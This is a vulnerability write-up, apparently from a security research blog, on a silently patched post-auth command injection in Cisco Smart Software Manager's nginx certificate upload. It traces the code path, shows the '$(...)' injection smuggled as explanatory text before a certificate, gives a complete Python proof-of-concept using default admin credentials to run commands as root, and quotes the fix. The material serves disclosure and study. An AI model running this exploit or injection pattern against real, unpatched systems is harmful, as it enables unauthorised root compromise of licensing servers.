# Dirty Cert: Cisco Smart Software Manager's Silently Patched RCE

> Source: <https://starlabs.sg/blog/2026/09-dirty-cert-cisco-smart-software-managers-silently-patched-rce/>
> Published: 2026-09-24 00:00:00+00:00

# Dirty Cert: Cisco Smart Software Manager's Silently Patched RCE

## Table of Contents

## Introduction

Back in early August 2026, I was 0-day bug hunting in Cisco Smart Software Manager (CSSM). This was where I came across a post-auth RCE vulnerability. This vulnerability, located in the nginx certificate upload, involved command injection via TLS certificates. Unfortunately, a week before I finished the report, the vulnerability was silently patched in their 10-202608 upgrade uploaded on 10 Aug 2026. This short blog will detail the exploit, along with how it got patched.

## Backstory

CSSM is a licensing and account manager for multiple Cisco products such as their edge devices and networking software. It is distributed as an installable OS, running many microservices accessible via an nginx reverse proxy. I was testing out my newly built AI bug hunting harness, which managed to find this vulnerability within 1 hour!

## The Sink that Never Should’ve Been

Found within their nginx_configurator, in `/frontend/usr/share/nginx/nginx_configurator/main.js`, are these two very interesting functions.

```
function valid_key(key) {
  try {
    childProcess.execSync(`echo "${key}" | openssl rsa > /dev/null`, {
      stdio: "inherit",
    });
    return true;
  } catch (e) {
    log(`Invalid key: ${e}`);
    return false;
  }
}

function valid_cert(cert) {
  try {
    childProcess.execSync(`echo "${cert}" | openssl x509 > /dev/null`, {
      stdio: "inherit",
    });
    return true;
  } catch (e) {
    log(`Invalid cert: ${e}`);
    return false;
  }
}
```

Cisco uses the `openssl` command to check for invalid certs and RSA keys. Using `childProcess.execSync` to do so is very risky, but very good for vulnerability researchers like me! It just so happens that these functions are called when I upload new certificates for nginx, so all we need is one malformed certificate to achieve command injection.

## Tracing through the code

With our target sink, we now begin tracing all the processing and functions our certificate payload goes through before reaching it.

### Validator’s Validation

Starting with the endpoint `/backend/settings/csr/upload` to upload our certs, we pass through the nginx reverse proxy to the backend service where we encounter a check under `/backend/usr/src/app/validators/admin/certs/csr/upload_validator.rb`

``` python
def validate(record)
    private_key = CsrPrivateKey.first
    record.errors.add(:base, I18n.t('browser_certs.cert_not_valid')) && return unless private_key.present?
    record.errors.add(:base, I18n.t('browser_certs.invalid_csr_cert')) && return unless valid_cert?(record, private_key)
    record.errors.add(:base, I18n.t('browser_certs.invalid_signature_algorithm')) && return if algorithm_rejected?(record.certificate)

    if record.intermediate_certificate.present?
        record.errors.add(:base, I18n.t('browser_certs.invalid_intermediate_cert')) && return unless valid_intermediate_cert?(record)
        record.errors.add(:base, I18n.t('browser_certs.invalid_intermediate_cert_signature_algorithm')) if algorithm_rejected?(record.intermediate_certificate)
    end
    rescue
    record.errors.add(:base,I18n.t('browser_certs.invalid_file_type'))
end

def valid_cert?(record, csr_private_key)
    ui_cert = OpenSSL::X509::Certificate.new(record.certificate)
    decrypted_key = EncryptionService.decrypt(csr_private_key.key_data)
    csr_rsa_private_key = OpenSSL::PKey::RSA.new(decrypted_key)

    CertService.rsa_keys_eql?(ui_cert.public_key, csr_rsa_private_key)
end

def valid_intermediate_cert?(record)
    user_cert = OpenSSL::X509::Certificate.new(record.certificate)
    intermediate_cert = OpenSSL::X509::Certificate.new(record.intermediate_certificate)

    user_cert.issuer == intermediate_cert.subject
rescue
    record.errors.add(:base,I18n.t('browser_certs.invalid_intermediate_cert'))
end
```

These functions check for:

1. Has the server made a Certificate Signing Request (CSR)?
2. Does the new certificate match the CSR?
3. Did the intermediate cert sign the new certificate?
4. Are the certificates signed using the allowed algorithms?
5. Do the certificates all follow the format under OpenSSL::X509::Certificate?

No. 1, we simply generate a CSR using the `/backend/settings/csr/generate` endpoint.

No. 2 and 3, we become the root CA and sign the CSR.

No. 4 is a non-factor, since the default openssl algorithm is allowlisted.

This last check, due to parsing of the request via `OpenSSL::X509::Certificate.new(record.certificate)`, is also not foolproof! The library follows RFC 7468 (“Textual Encodings of PKIX, PKCS, and CMS Structures”), and it states the following:

**Explanatory Text**

Many tools are known to emit explanatory text before the BEGIN and after the END lines for PKIX certificates, more than any other type. If emitted, such text SHOULD be related to the certificate, such as providing a textual representation of key data elements in the certificate.

By using explanatory text, we can add our command injection before the `-----BEGIN CERTIFICATE-----` header! Something akin to:

```
$(<COMMAND INJECTION>)
-----BEGIN CERTIFICATE-----
...
-----END CERTIFICATE-----
```

### Uneven Processing

After the validator, the backend processes the certificates before sending them back to nginx to update its certs. Under `/backend/usr/src/app/services/admin/ui_cert_service.rb` in the `upload_csr_certificate` function:

```
# Update UI Cert
ui_cert_entry = UICert.where(name: Constants::UI_CERT_DESC).first_or_initialize
ui_cert_entry.cert = ui_cert.to_pem
ui_cert_entry.private_key_id = csr_private_key.id
ui_cert_entry.description = description

if intermediate_certificate.present?
    intermediate_subject = OpenSSL::X509::Certificate.new(intermediate_certificate).subject
    trust_store_cert = TrustStoreCert.first_or_initialize
    trust_store_cert.name = intermediate_subject
    trust_store_cert.cert = intermediate_certificate
    trust_store_cert.description = description
    trust_store_cert.save
end

ui_private_key = UiPrivateKey.first
ui_private_key.key_data = csr_private_key.key_data

...

ui_cert_entry.private_key_id = ui_private_key.id

...

NginxConfiguratorService.save_key_and_cert(CONSTANTS::TLS_FOR_USER_INTERFACE, EncryptionService.decrypt(ui_private_key.key_data), build_pem_bundle(ui_cert_entry))
```

We focus specifically on these three lines of code:

```
ui_cert_entry.cert = ui_cert.to_pem

...

ui_private_key.key_data = csr_private_key.key_data

...

trust_store_cert.cert = intermediate_certificate
```

Our command injection can work in these three places:

1. The new certificate generated from the CSR
2. The private key used in the CSR
3. The `intermediate_certificate` that signed the CSR

(1) doesn’t work since `to_pem` strips our explanatory text and our command injection away, and (2) cannot be accessed by us. However, for (3), the `intermediate_certificate` is used directly with no processing, perfect for exploitation!

And with our command injection within the certs, the server calls the following:

```
NginxConfiguratorService.save_key_and_cert(
    CONSTANTS::TLS_FOR_USER_INTERFACE, 
    EncryptionService.decrypt(ui_private_key.key_data),
    build_pem_bundle(ui_cert_entry)
)
```

`build_pem_bundle` is simply a concatenation of the certs and the chain of signers / issuers before it using `\n` as a delimiter. The specific code looks as such:

``` python
def build_pem_bundle(cert)
    pem = cert.cert
    signer = cert.signer_cert

    while signer != nil do
        pem += "\n" + signer.cert
        signer = signer.signer_cert
    end

    pem
end
```

And this is all prepared as a single HTTP request sent from the backend to the frontend.

### Final Nail in the Coffin

After all that, we finally arrive at the file containing the sink `/frontend/usr/share/nginx/nginx_configurator/main.js`

```
app.put('/certs/:type', saveKeyAndCert)

function saveKeyAndCert(req, res) {
    ...

    if(!valid_key(req.body.key)) {
        res.status(httpStatus.BAD_REQUEST).send('Invalid private key')
        return
    }
    
    if(!valid_cert(req.body.cert)) {
        res.status(httpStatus.BAD_REQUEST).send('Invalid certificate')
        return
    }
}
```

With no other checks remaining, the `execSync` sink within `valid_cert` is called and we trigger our injected commands within the attacker CA we send :)

This will run with nginx permissions, which happens to be root on that microservice.

## Full Exploit

The full exploit steps are as such:

1. Log in as admin
2. Generate a CSR certificate
3. Sign CSR with us as the root CA
4. Upload CSR with malicious `intermediate_certificate`
5. Read injected command’s output via a file created on nginx
6. Delete the file on nginx

## Full POC script

``` python
import os, subprocess, sys, tempfile, requests, urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

COMMAND = "ls"

HOST = "<IP + PORT>"
BASE = f"https://{HOST}"
USER, PASS = "admin", "CiscoAdmin!2345" # <-- default credentials
WEBROOT = "/usr/share/nginx/apollo-ui/dist"
MARKER = "output.txt" # <-- Arbitrary server command output file
TMP = tempfile.mkdtemp()

s = requests.Session()
s.verify = False

def req(method, path, **kw):
    kw.setdefault("timeout", 90)
    return s.request(method, BASE + path, **kw)

def hdrs():
    return {"X-CSRF-Token": s.cookies.get("XSRF-TOKEN", ""),
            "Content-Type": "application/json"}

def sh(cmd):
    """Inject one shell command; returns the backend's JSON response."""
    with open(os.path.join(TMP, "ca.pem")) as f:
        ca = f.read()
    with open(os.path.join(TMP, "leaf.pem")) as f:
        leaf = f.read()
    body = {"certificate": leaf,
            "intermediate_certificate": "$(" + cmd + ")\n" + ca,
            "description": "poc"}
    return req("PUT", "/backend/settings/csr/upload", headers=hdrs(), json=body).text.strip()

# 1. Authenticate
req("GET", "/")
req("POST", "/backend/auth/identity/callback", headers=hdrs(),
    json={"username": USER, "password": PASS})
print("[1] logged in as", USER)

# 2. Generate a CSR
req("PUT", "/backend/settings/csr/generate", headers=hdrs(),
    json={"csr_request": {"common_name": "poc.local", "country": "US", "state": "CA",
                          "locality": "SJ", "organization": "poc", "key_size": 2048,
                          "subject_alternative_names": "poc.local"}})
csr = req("GET", "/backend/settings/csr").json()
with open(os.path.join(TMP, "req.csr"), "w") as f:
    f.write(csr)
print("[2] CSR generated and downloaded")

# 3. Generate a self-signed CA and sign the CSR using openssl
# Generate our own CA
subprocess.run(["openssl", "req", "-x509", "-newkey", "rsa:2048", "-nodes", "-days", "365", "-sha256",
  "-subj", "/CN=PoC CA", "-keyout", f"{TMP}/ca.key", "-out", f"{TMP}/ca.pem"], check=True)
# Sign the CSR with our CA
subprocess.run(["openssl", "x509", "-req", "-in", f"{TMP}/req.csr", "-CA", f"{TMP}/ca.pem",
  "-CAkey", f"{TMP}/ca.key", "-CAcreateserial", "-days", "365", "-sha256",
  "-out", f"{TMP}/leaf.pem"], check=True)
print("[3] leaf signed by attacker CA")

# 4. Upload the payload
print("[4] upload ->", sh(f"{COMMAND} > {WEBROOT}/{MARKER} 2>&1")[:120])

# 5. read the command output back over HTTPS
print("[5] retrieved output")
print(req("GET", "/" + MARKER).text.strip() or "(empty)")

# 6. clean up the marker file
sh(f"rm -f {WEBROOT}/{MARKER}")
print("[6] cleanup, marker now HTTP", req("GET", "/" + MARKER).status_code)
```

## Silent Patches

After finishing my report, I saw that a new patch was released a week ago. As a very responsible researcher, I updated my 10-202606 CSSM to that new 10-202608 version to test my vulnerability. Doing a quick diff, I saw the sink had been removed 🥲

```
-   childProcess.execSync(`echo "${key}" | openssl rsa > /dev/null`, { stdio: 'inherit' })

+   const k = crypto.createPrivateKey(key)
+   if (k.asymmetricKeyType !== 'rsa') throw new Error(`unexpected key type: ${k.asymmetricKeyType}`)
-   childProcess.execSync(`echo "${cert}" | openssl x509 > /dev/null`, { stdio: "inherit", });

+   new crypto.X509Certificate(cert)
```

As expected, my script no longer yields any RCE. Looking back, it was natural that they would catch it. A quick `ctrl+F` for `exec` within Cisco files would only show these specific lines of code. The fix was also quick, to simply use a Node library instead of the command line.

## Timeline

9 Aug 26: Bug Discovered by AI 

10 Aug 26: Patch 10-202608 Released 

18 Aug 26: Report Prepared 

19 Aug 26: Analysed Patch

## Moral of the Story

After seeing the patch and some sad talks with my mentor, Never celebrate too early… who knows if your 0-days will still exist on reporting day, especially if it was found instantly by an AI agent.
